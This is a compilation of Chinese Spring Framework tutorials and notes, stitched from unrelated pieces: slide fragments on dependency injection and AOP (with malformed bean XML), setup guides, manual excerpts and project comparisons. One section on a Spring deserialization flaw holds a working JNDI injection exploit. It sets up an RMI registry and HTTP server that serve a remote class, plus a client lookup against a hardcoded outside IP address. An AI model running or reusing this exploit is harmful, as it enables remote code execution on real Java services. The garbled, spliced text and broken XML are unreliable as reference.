Spring_framework
给项目添加Spring开发能力: 1.添加Spring2.5 Core Libraries && Spring2.5 Web Libraries 2.如果Hibernate使用了Annotations support,那就选择Enable Hibernate Annotations support 这样生成一个applicationContext.xml. 如果要将这个文件放到WEB-INF下则可以在web.xml中进行配置: <context-param> <param-name>contextConfigLocation</param-name> <param-value>/WEB-INF/applicationContext.xml</param-value> </context-param> 在web.xml中配置监听器: <listener> <listener-class>org.springframework.web.context.ContextLoaderListener </listener-class> </listener>
依赖注射的实例
hibernate.cfg.xml的配置信息可以整合到applicationContext.xml中: (导入:commons-pool.jar / jdbc.jar) <!-- 建立datasource --> <bean id="dataSource" class="mons.dbcp.BasicDataSource"> <property name="driverClassName" value="com.mysql.jdbc.Driver"></property> <property name="url" value="jdbc:mysql://localhost:3306/test"></property> <property name="username" value="root"></property> <property name="password" value="1234"></property> </bean> <bean id="sessionFactory” class="org.springframework.orm.hibernate3.annotation.AnnotationSessionFactoryBean"> <property name=“dataSource”> --引用dataSource <ref bean="dataSource"/> </property> <property name="hibernateProperties"> <props> <prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop> <prop key="hibernate.show_sql">true</prop> <prop key="hibernate.format_sql">true</prop> <prop key="hibernate.current_session_context_class">thread</prop> </props> </property> <property name="annotatedClasses"> <list> <value>com.tarena.entity.GuestBook</value> </list> </property> </bean>
依赖注射的实例
<bean id="basicBean" class="com.tarena.spring.BasicBean"> <property name="useCache" value="true" /> <property name="maxSize" value="100" /> <property name="title" value="A Basic Bean" /> <property name="file" value="config.xml" /> </bean> <bean id="listBean" class=“com.tarena.spring.ListBean"> <!-- 注入普通List --> <property name="children"> <list> <value>A String</value> <ref bean="basicBean" /> <bean id="mapBean" class=“com.tarena.spring.MapBean "> </list> <property name="weekday"> </property> <map> </bean> <!-- 用String作为key --> <entry key="Monday"> <value>do something</value> </entry> <entry key="Tuesday"> <ref bean="setBean" /> </entry> </map> </property> </bean> <bean id=“categoryAction” class=“com.tarena.spring. CategoryAction "> <property name=“categoryDao” ref=“categoryDao " /> </bean>
依赖注射
亲友介绍,工厂生成
public class Girl { void kiss(){ Boy boy = BoyFactory.createBoy(); } }
依赖注射
父母包办,依赖注射
public class Girl { Boy boy = null; public void setBoy(Boy boy){ this.boy=boy; } public void kiss(){ boy.kiss(); } }
Bean 的设臵
采用单例模式,只创建一个对像,但是可以选择不用单例,共两种选 择:singleton(默认)/prototype
<beans> <bean id=“hello“ class= " com.tarena.Spring.HelloWorld"> <property name="message" value="Hello World!" /> </bean> </beans>
<property name="name"> <value>王力宏</value> </property>
• 字符串 “Hello World” 被注入到 HelloWorld中
Dependency Injection (Inversion of Control)
• 依赖注射(控制反转) • 注入的方式
Spring简介
• Spring Framework是轻量级框架,允 许自由选择和组装各功能模块,作用 上像一个工具箱。 • 提供了和其他很多软件集成的接口, 如与Hibernate、Struts的集成。
Spring的结构
Spring结构
Spring结构
Spring的使用
• • 下载spring最新版本,将其下的*.jar 拷 贝到项目lib中,并引用。 • 设臵Spring配臵文件 (applicationContext.xml)。
AOP Aspect Oriented programming
类似于过滤器(interceptor)或拦截器(filter) 过滤器(interceptor):sturts中的action 拦截器(filter):web中 AOP:应用更广
面向方面编程(AOP)
• “专心做事”
依赖注入 (DI)
Spring Framework
Spring的核心内容
• • • • 依赖注射(IoC) AOP 无缝组合Struts和Hibernate 简单管理Hibernate事务
Spring产生的背景
• 设计者:Rod Johnson • Spring的开发思想来自 Expert One-onOne: J2EE Design and Development (2002) • 官方网址:
Struct2、Hibernate3、Spring3框架搭建实战
Struct2、Hibernate3、Spring3框架搭建实战采⽤⽬前最新的struts-2.3.1.2、hibernate3.6.10.Final、spring-framework-3.1.1.RELEASE开发包,以及eclipse-jee-indigo-SR2-win32、apache-tomcat-7.0.27服务器、JDK6和mysql5做开发环境,参考了前辈的⼀篇相关⽂章,改正了其中的错误和疏漏,克服了公司分配的“新”机器每⼩时⾃动重启三次的困难,终于把环境给搭好了。
整个过程中遵循的⼀个原则是,避免引⼊⽤不到的jar包,以求搭建⼀个最⼩的SSH 运⾏环境。
⾸先创建⼀个Dynamic web project 输⼊任意名字如SSHBase。
第⼀步:加载Spring环境我们需要引⼊的包有:org.springframework.asm-3.1.1.RELEASE.jarorg.springframework.beans-3.1.1.RELEASE.jarorg.springframework.context-3.1.1.RELEASE.jarorg.springframework.core-3.1.1.RELEASE.jarorg.springframework.expression-3.1.1.RELEASE.jarorg.springframework.jdbc-3.1.1.RELEASE.jarorg.springframework.web-3.1.1.RELEASE.jarorg.springframework.orm-3.1.1.RELEASE.jar由于spring默认开启了⽇志,还需要加⼊commons-logging的jar包,否则会报错。
建议不要⼀次性加⼊应该先加最核⼼的运⾏代码看缺少什么加什么,这样就不会加多余的包进来了,spring3已经把包按功能分开,不像以前⼀个包,这样更灵活,只要运⾏我们需要的功能,⽽没⽤到的就不⽤在硬性的添加进来。
Spring参考手册
第一部分 Spring框架的概述Spring框架是一个轻量级的解决方案和为构建企业级应用程序潜在的一站式服务。
然而,Spring是模块化的,允许你只使用那些你需要的部分,而忽略其他部分。
你可以在使用Struts时用Spring的IoC 容器,但你也可以只使用Hibernate 集成代码或JDBC抽象层。
Spring框架支持声明式事务管理、通过RMI或web服务远程访问你的逻辑,还有多种方式处理数据的持久化。
它还提供一个全能的MVC框架,并且能将AOP移植进你的软件。
Spring被设计为非侵入式的,意味着你的逻辑代码完全不必依赖于此框架。
虽然一些基于数据访问技术和Spring的库会存在于你的集成层(例如数据访问层),但是你的其他代码很容易隔离这些依赖。
1.开始使用Spring这篇手册提供了关于spring框架的详细信息,不仅有全面的特性,还有一些关于spring包含的潜在的概念(例如“依赖注入”)的背景知识。
如果你才刚刚开始,也许你应该从低级版的"Getting Started" 手册开始,从bbb://spring.io.访问。
为了更容易消化,这篇手册是专注于任务式。
2.Spring框架的介绍Spring框架是一个支持开发Java应用程序而提供全面的基础设施的Java平台,Spring处理基础部分从而你可以专注于你的应用。
spring 让你能够通过POJOs和向POJOs应用无侵入的企业服务就可以构建你的应用。
这些不仅能应用到Java SE而且还能应用到Java EE.一些作为一个开发者能够使用spring平台优势的例子●使Java方法可以执行数据库事务而不用去处理事务API●使本地Java方法可以执行远程过程而不用去处理远程API●使本地Java方法可以拥有管理操作而不用去处理JMXAPI●使本地Java方法可以执行消息处理而不用去处理JMSAPI2.1 依赖注入和控制反转Java应用程序——一个宽松的专业术语,小到一个Appletes大到运行在n层服务器上的企业级程序—通常由互相协作的对象而形成的适当的应用程序。
springframework体系结构及模块jar依赖关系详解
springframework体系结构及模块jar依赖关系详解本⽂对于Spring的JAR包使⽤和配置,结合⽹友材料以spring 4.3.6.RELEASE版本为例,介绍spring框架结构和各模块对应JAR包以及模块间JAR依赖关系。
注:不同版本JAR包依赖会有所区别spring官⽹给出了⼀张spring4的结构图图中可以简单认为将spring分为5个部分:core、aop、data access、web、test,图中每个圆⾓矩形都对应相应jar包,如果在maven中配置,所有这些jar的“groupId”都是“org.springframework”,每个jar有⼀个不同的“artifactId”,官⽅给出总共20个JAR包题外话,对于JAR包的下载,除官⽅给出的通过maven和gradle依赖⾃动下载外,还可以通过以下地址直接下载全量ZIP包,但对于spring JAR包依赖的jar包需要⾃⼰额外下载下⾯介绍这5个部分的jar以及依赖关系core部分包含4个模块1、spring-core:依赖注⼊IoC与DI的最基本实现,对应spring-core-4.3.6.RELEASE.jar2、spring-beans:Bean⼯⼚与bean的装配,对应spring-beans-4.3.6.RELEASE.jar3、spring-context:spring的context上下⽂即IoC容器,包含⼆个JAR包,对应spring-context-4.3.6.RELEASE.jar和spring-context-support-4.3.6.RELEASE.jar,其中support是spring额外⽀持包,⽐如邮件服务、视图解析等4、spring-expression:spring表达式语⾔,对应spring-expression-4.3.6.RELEASE.jar它们的完整依赖关系因为spring-core依赖了commons-logging,⽽其他模块都依赖了spring-core,所以整个spring框架都依赖了commons-logging,如果有⾃⼰的⽇志实现如log4j,可以排除对commons-logging的依赖,没有⽇志实现⽽排除了commons-logging依赖,编译报错aop部分包含4个模块1、spring-aop:⾯向切⾯编程,对应spring-aop-4.3.6.RELEASE.jar2、spring-aspects:集成AspectJ,对应spring-aspects-4.3.6.RELEASE.jar3、spring-instrument:提供⼀些类级的⼯具⽀持和ClassLoader级的实现,⽤于服务器,对应spring-instrument-4.3.6.RELEASE.jar,同时提供针对tomcat的instrument实现jar包spring-instrument-tomcat-4.3.6.RELEASE.jar4、spring-messaging:⽤于构建基于消息的应⽤程序spring-messaging-4.3.6.RELEASE.jar它们的依赖关系data access部分包含5个模块1、spring-jdbc:jdbc的⽀持,对应spring-jdbc-4.3.6.RELEASE.jar2、spring-tx:事务控制,对应 spring-tx-4.3.6.RELEASE.jar3、spring-orm:对象关系映射,集成orm框架,对应spring-orm-4.3.6.RELEASE.jar4、spring-oxm:对象xml映射,对应 spring-oxm-4.3.6.RELEASE.jar5、spring-jms:java消息服务,对应spring-jms-4.3.6.RELEASE.jar它们的依赖关系web部分包含4个模块1、spring-web:基础web功能,如⽂件上传,spring-web-4.3.6.RELEASE.jar2、spring-webmvc:mvc实现,对应spring-webmvc-4.3.6.RELEASE.jar3、spring-webmvc-portlet:基于portlet的mvc实现,对应spring-webmvc-portlet-4.3.6.RELEASE.jar4、spring-websocket:为web应⽤提供的⾼效通信⼯具,对应spring-websocket-4.3.6.RELEASE.jar它们的依赖关系t est部分只有⼀个模块,1、spring-test:spring测试,提供junit与mock测试功能,对应spring-test-4.3.6.RELEASE.jar它们的依赖关系到这⾥,spring4的结构、JAR包以及依赖关系介绍就完了,看完这些图相信对整个Spring结构以及所需JAR包都有清晰了解,同时对于在maven中配置spring依赖时也不会再混乱了。
【SpringFramework】Spring入门教程(三)使用注解配置
【SpringFramework】Spring⼊门教程(三)使⽤注解配置本⽂主要介绍四个⽅⾯:(1) 注解版本IOC和DI(2) Spring纯注解(3) Spring测试(4) SpringJDBC - Spring对数据库的操作使⽤注解配置Spring⼊门说在前⾯学习基于注解的IoC配置,⼤家脑海⾥⾸先得有⼀个认知,即注解配置和xml配置要实现的功能都是⼀样的,都是要降低模块间的耦合度。
仅仅只是配置的形式不⼀样。
关于实际的开发中到底使⽤xml还是注解,每家公司有着不同的使⽤习惯。
所以这两种配置⽅式我们都需要掌握。
基于注解配置的⽅式也已经逐渐代替xml配置。
所以我们必须要掌握使⽤注解的⽅式配置Spring。
配置步骤注意:如果使⽤Eclipse需要先安装了STS插件,或者使⽤STS开发⼯具创建项⽬。
本⽂使⽤IDEA进⾏演⽰。
1.2.1. 第⼀步:拷贝必备jar包到⼯程的lib⽬录。
注意:在基于注解的配置中,我们还要多拷贝⼀个aop的jar包。
如下图:1.2.2. 第⼆步:在类的根路径下创建⼀个任意名称的xml⽂件(不能是中⽂)注意:基于注解整合时,Spring配置⽂件导⼊约束时需要多导⼊⼀个context命名空间下的约束。
<?xml version="1.0" encoding="UTF-8"?><beans xmlns="/schema/beans"xmlns:xsi="/2001/XMLSchema-instance"xmlns:context="/schema/context"xsi:schemaLocation="/schema/beans/schema/beans/spring-beans.xsd/schema/context/schema/context/spring-context.xsd"></beans>1.2.3. 第⼆步:创建⼀个服务类创建⼀个测试的服务类,并且加⼊使⽤@Component注解,声明该类允许注⼊到Spring容器package org.cjw.service;import ponent;/*使⽤注解配置时,需要将Spring框架启动就创建对象的类表⽰为组件类表⽰组件类使⽤@Component注解*/@Componentpublic class CustomerService {public void save() {System.out.println("-保存数据-");}}1.2.4. 第四步在spring的配置⽂件加⼊扫描注解<?xml version="1.0" encoding="UTF-8"?><beans xmlns="/schema/beans"xmlns:xsi="/2001/XMLSchema-instance"xmlns:context="/schema/context"xsi:schemaLocation="/schema/beans/schema/beans/spring-beans.xsd/schema/context/schema/context/spring-context.xsd"><!-- 声明扫描包及其⼦包的类,如果发现有组件注解的类,就创建对象并加⼊到容器中去 --><context:component-scan base-package="org.cjw" /></beans>1.2.5. 第五步:测试调⽤代码package org.cjw.test;import org.cjw.service.CustomerService;import org.junit.Test;import org.springframework.context.ApplicationContext;import org.springframework.context.support.ClassPathXmlApplicationContext;public class CustomerServiceTest {@Testpublic void testSave() {ApplicationContext context = new ClassPathXmlApplicationContext("applicationContext.xml");CustomerService customerService = context.getBean(CustomerService.class);customerService.save();}}--测试结果,如果可以调⽤服务⽅法,测试成功。
浅谈对SpringFramework的认识
浅谈对SpringFramework的认识Spring Framework,作为⼀个应⽤框架,官⽅的介绍如下:The Spring Framework provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform. A key element of Spring is infrastructural support at the application level: Spring focuses on the "plumbing" of enterprise applications so that teams can focus on application-level business logic, without unnecessary ties to specific deployment environments.在开发中,Spring框架从程序员⼿中接管了对象的创建,Spring根据配置⽂件或者扫描注解,得到类、组件之间的关系,并创建对象进⾏注⼊,这个过程不需要程序员⼿动创建并赋值,从⽽降低了耦合性,开发的时候也不需要理会这些与功能代码实现⽆关的部分,这就是DI/IOC(依赖注⼊/控制反转)。
基于DI/IOC,Spring框架的不同模块提供了各种功能,为应⽤提供了AOP功能、持久层的⽀持,为Web层提供了SpringMVC以及与其他框架的整合使⽤等等。
(这特么不是上⾯的翻译啊啊啊)这段时间正在学习Spring源码,浅谈⼀下我对Spring的认识。
参考资料主要为Spring官⽅⽂档、《深⼊分析Java Web技术内幕》《Spring源码深度解析》,部分内容借鉴书中原⽂。
Spring-framework源码导入IntelliJIDEA记录
Spring-framework源码导⼊IntelliJIDEA记录前⾔ 想学习spring框架,不看源码怎么⾏。
⽹上有很多教程,但是⾃⼰实施起来还是稍微有点坎坷的,不过最后还是成功了。
遂以此⽂记录。
环境说明: Idea 2017.2.5 spring-framework v4.3.9.RELEASE gradle 2.12 (版本太⾼好像有问题)源码下载 ⾸先我们从github上克隆 spring的源码。
然后使⽤ git tag 命令查看分⽀ 我们将4.3.9.RELAESE 版本的代码下载到本地。
gradle 安装这⾥不在介绍。
开始导⼊ 我们打开源码⽂件夹,打开 import-into-idea.md 然后执⾏命令: gradle cleanIdea :spring-oxm:compileTestJava (以下是⼀个稍微漫长的过程~~) 好,看到 BUILD SUCCESSFUL 很开⼼~~然后我们按照⽂档中的做即可。
1. Pre-compile `spring-oxm` with `./gradlew cleanIdea :spring-oxm:compileTestJava` 2. Import into IDEA (File->import project->import from external model->Gradle) 3. Set the Project JDK as appropriate (1.8+) 4. Exclude the `spring-aspects` module (Go to File->Project Structure->Modules) 5. Code away排除万难 现实中当然没有⽂档中那么顺利,⾸先编译会出⼀些错误,没关系。
我们先新建⼀个测试项⽬。
然后 File =>Project Structure. 选中测试项⽬,添加Dependencies。
Spring、SpringFramework、SpringBoot、SpringCloud的区别
Spring、SpringFramework、SpringBoot、SpringCloud的区别SpringSpring是⼀个⽣态体系(也可以说是技术体系),是集⼤成者,它包含了Spring Framework、Spring Boot、Spring Cloud等(还包括Spring Cloud data flow、spring data、spring integration、spring batch、spring security、spring hateoas),可以参考链接:Spring FrameworkSpring Framework是整个spring⽣态的基⽯,它可是硬⽣⽣的消灭了Java官⽅主推的企业级开发标准EJB,从⽽实现⼀统天下。
Spring官⽅对Spring Framework简短描述:为依赖注⼊、事务管理、WEB应⽤、数据访问等提供了核⼼的⽀持。
Spring Framework专注于企业级应⽤程序的“管道”,以便开发团队可以专注于应⽤程序的业务逻辑。
但是,⽆论Spring Framework接⼝如何简化,设计如何优美,始终⽆法摆脱被动的境况:由于它⾃⾝并⾮容器,所以基本上不得不随JavaEE容器启动⽽装载,例如Tomcat、Jetty、JBoss等。
然⽽Spring Boot的出现,改变了Spring Framework甚⾄整个Spring技术体系的现状。
Spring BootSpringBoot本⾝更倾向于快速开发,快速构建,快速集成的这样的功能,通过⽤MAVEN依赖的继承⽅式,帮助我们快速整合第三⽅常⽤框架,完全采⽤注解化(使⽤注解⽅式启动SpringMVC),简化XML配置,内置HTTP服务器(Tomcat,Jetty),最终以Java应⽤程序进⾏执⾏。
官⽅对Spring Boot的定义:Spring Boot is designed to get you up and running as quickly as possible, with minimal upfront configuration of Spring. Spring Boot takes an opinionated view of building production-ready applications.Spring CloudSpring Cloud事实上是⼀整套基于Spring Boot的微服务解决⽅案,它是是⼀系列框架的有序集合。
后端开发常用的框架及其实现原理
后端开发常用的框架及其实现原理随着互联网的迅速发展,后端开发的重要性也越来越凸显。
后端开发主要负责网站、应用程序等服务的运行与实现,包括数据库的设计与管理,服务器端的业务逻辑设计与开发等。
后端开发需要使用一些框架和工具来提高效率,本文将介绍常见的后端开发框架及其实现原理。
一、Spring框架Spring框架是Java应用程序开发的一个全栈框架,它提供了一系列的解决方案,包括Web应用程序开发、AOP编程、事务管理、数据存储、消息传递、安全性等方面。
Spring框架是以IOC容器和AOP两大核心特性为主要实现原理的。
IOC容器:IOC是Inversion of Control的缩写,翻译为“控制反转”。
它的实现原理是将对象的创建、处理和销毁等过程交给了IOC 容器控制,降低了对象之间的耦合性。
Spring框架中的IOC容器是以BeanFactory的形式实现的,可以通过XML、注解或Java代码的方式进行配置。
在Spring框架中,BeanFactory是接口类,ApplicationContext是BeanFactory的子类,一般推荐使用ApplicationContext。
AOP:AOP是Aspect Oriented Programming的缩写,翻译为“面向切面编程”。
它的主要目的是将各个模块之间交叉的切面代码抽取出来,统一进行管理。
Spring框架中的AOP通过动态代理技术实现,每个切面都被包装成一个代理类,并且使用XML、注解或Java代码进行配置。
二、Django框架Django框架是基于Python语言的一个开源Web框架,它提供了一系列的组件和方法,极大地简化了Web应用程序的开发过程,包括URL 路由、模板引擎、ORM等。
Django框架的实现原理是MVT的模式。
MVT模式:MVT是Model-View-Template的缩写,翻译为“模型-视图-模板”。
它将Web应用程序分为三层,分别是模型、视图和模板。
Springframework反序列化的漏洞
Springframework反序列化的漏洞import com.sun.jndi.rmi.registry.ReferenceWrapper;import .httpserver.HttpServer;import javax.naming.Reference;import java.io.IOException;import .InetSocketAddress;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class JndiPoc {public static void lanuchCodebaseURLServer() throws IOException {System.out.println("Starting HTTP server");HttpServer httpServer = HttpServer.create(new InetSocketAddress(8009), 0);httpServer.createContext("/", new HttpFileHandler());httpServer.setExecutor(null);httpServer.start();}public static void lanuchRMIregister(String server_ip) throws Exception {System.out.println("Creating RMI Registry");Registry registry = LocateRegistry.createRegistry(2222);// 设置code url 这⾥即为http://127.0.0.1:8000/// 最终下载恶意类的地址为http://127.0.0.1:8000/ExportObject.classString evil_ip="http://"+server_ip+":8009/";Reference reference = new Reference("ExportObject", "ExportObject", evil_ip);// Reference包装类ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);try {registry.bind("aa", referenceWrapper);// registry.bind("gsrc_ejbobject",referenceWrapper);}catch (Exception e){System.out.println("e.getCause().getCause().getCause().getMessage()");}}public static void main(String[] args) throws Exception {lanuchCodebaseURLServer();lanuchRMIregister("127.0.0.1");}}client代码:import javax.naming.*;public class Jndi_Client {public static void main(String[] args) throws Exception {String uri="rmi://121.195.170.196:2222/aa";Context ctx=new InitialContext();ctx.lookup(uri);}}lookup参数uri可控,将uri注⼊恶意ip的rmi服务,触发实例化恶意类构造⽅法调⽤。
【SpringFramework】Spring入门教程(一)控制反转和依赖注入
【SpringFramework】Spring⼊门教程(⼀)控制反转和依赖注⼊参考资料说在前⾯什么样的架构,我们认为是⼀个优秀的架构?判断准则:可维护性好,可扩展性好,性能。
什么叫可扩展性好?答:在不断添加新的代码的同时,可以不修改原有代码,即符合开闭原则。
如何让程序的可维护性好,可扩展性好呢?业界有⼀个公认的标准:⾼内聚,低耦合。
⾼内聚:就是尽量将代码写在与之功能描述⼀致的模块中。
如User表的操作写在UserDAO⾥⾯,不要写在⾮UserDAO的类⾥⾯。
低耦合:就是尽量减少类与类之间的直接关系。
(重点)直接关系:Controller层依赖Service层,在Controller层直接new Service层的类的对象。
Service层依赖Dao层,在Service层直接new Dao层的对象。
Spring框架就是通过IoC/DI(控制反转/依赖注⼊)实现程序的解耦。
从⽽提⾼程序的维护性和扩展性。
Spring概述Spring是什么Spring是⼀个JavaEE轻量级的⼀站式开发框架。
JavaEE: 就是⽤于开发企业级(B/S)应⽤的技术。
轻量级:使⽤最少代码启动框架,然后根据需求选择需要使⽤的模块。
重量级:早期的EJB,开发⼀个HelloWorld程序都需要引⼊EJB的全部模块。
⼀站式:提供了表⽰层,服务层,持久层的所有⽀持。
Spring框架出现的背景世界上第⼀套由Java官⽅Sun公司推出的企业级开发框架EJB瞬间风靡全球,被各⼤公司所应⽤。
Spring之⽗,Rod Jonhson是⼀个⾳乐博⼠,在Sun公司的⼤⼒推⼴下,也成为EJB框架的使⽤者。
在深⼊研究完EJB框架(由Sun主导开发的⼀个JavaEE开发框架),⽆法接受这么⼀个框架被吹成世界第⼀,具体查看他吐槽EJB的书《Expert one on one J2EE design and development》。
其中突出被他吐槽最厉害的⼀个点就EJB的重量级,就是只要使⽤EJB⾥⾯任何⼀个组件。
